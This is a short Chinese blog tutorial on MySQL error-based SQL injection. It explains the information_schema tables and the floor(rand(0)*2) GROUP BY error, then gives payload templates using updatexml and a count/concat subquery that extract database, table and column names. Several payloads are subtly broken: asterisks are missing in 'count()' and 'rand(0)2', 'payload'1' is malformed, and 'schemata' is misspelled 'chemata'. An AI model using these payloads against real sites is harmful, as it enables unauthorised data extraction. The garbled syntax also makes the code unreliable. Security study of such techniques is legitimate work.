美文网首页
sql简单的报错查询

sql简单的报错查询

作者: sky枫 | 来源:发表于2018-06-02 16:31 被阅读0次
关于INFORMATION_SCHEMA表的简单介绍
  information_schema   :数据库是MySQL系统自带的数据库,它提供了数据库元数据的访问方式。

information_schema 数据库中注入时要用到的表有( schemata tables columns)

                        chemata 表中   字段
                                 schema_name      存放数据库名
                        tables  表中   字段
                                 table_schema       数据表所属的数据库名
                                 table_name          存放数据库所有表名
                        columns  表中  字段
                                 table_schema       数据表所属的数据库名
                                 table_name          存放数据库所有表名
                                 column_name      存放数据库所有表里面的列名

SQL注入时常用到的几条查询语句

                  查找数据库名称
                          select schema_name from information_schema.schemata   相当于   show databases;
                  查mysqllname所有表名
                        select table_name from information_schema.tables where table_schema=mysqlname
                  查询mysqlname数据库tablename表中的所有字段
                        select column_name from information_schema.columns where table_schema="mysqlname" and table_name="tablename"
报错注入原理:

由于rand和group+by的冲突,即rand()是不可以作为order by的条件字段,同理也不可以为group by的条件字段。
  floor(rand(0)*2) 获取不确定又重复的值造成mysql的错误
  floor:向下取整,只保留整数部分,rand(0) -> 0~1

报错注入特点:
                 页面上没有显示位,但是有SQL语句执行错误信息

报错语句可以分为MYSQL报错


01.PNG

PHP报错


02.PNG
常用语句
                            and updatexml (1,payload'1)
                          
                            and updatexml (1,concat(0x7e,payload,0x7e),1)      0x7e  是: 转码来的


                            (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)

这里的concat(payload)是关键语句 一般都是在这里爆数据库,表和字段
如:
(select 1 from (select count(),concat((database()),floor(rand(0)2))x from information_schema.tables group by x)a)
这是爆数据库名

相关文章

网友评论

      本文标题:sql简单的报错查询

      本文链接:https://www.haomeiwen.com/subject/niersftx.html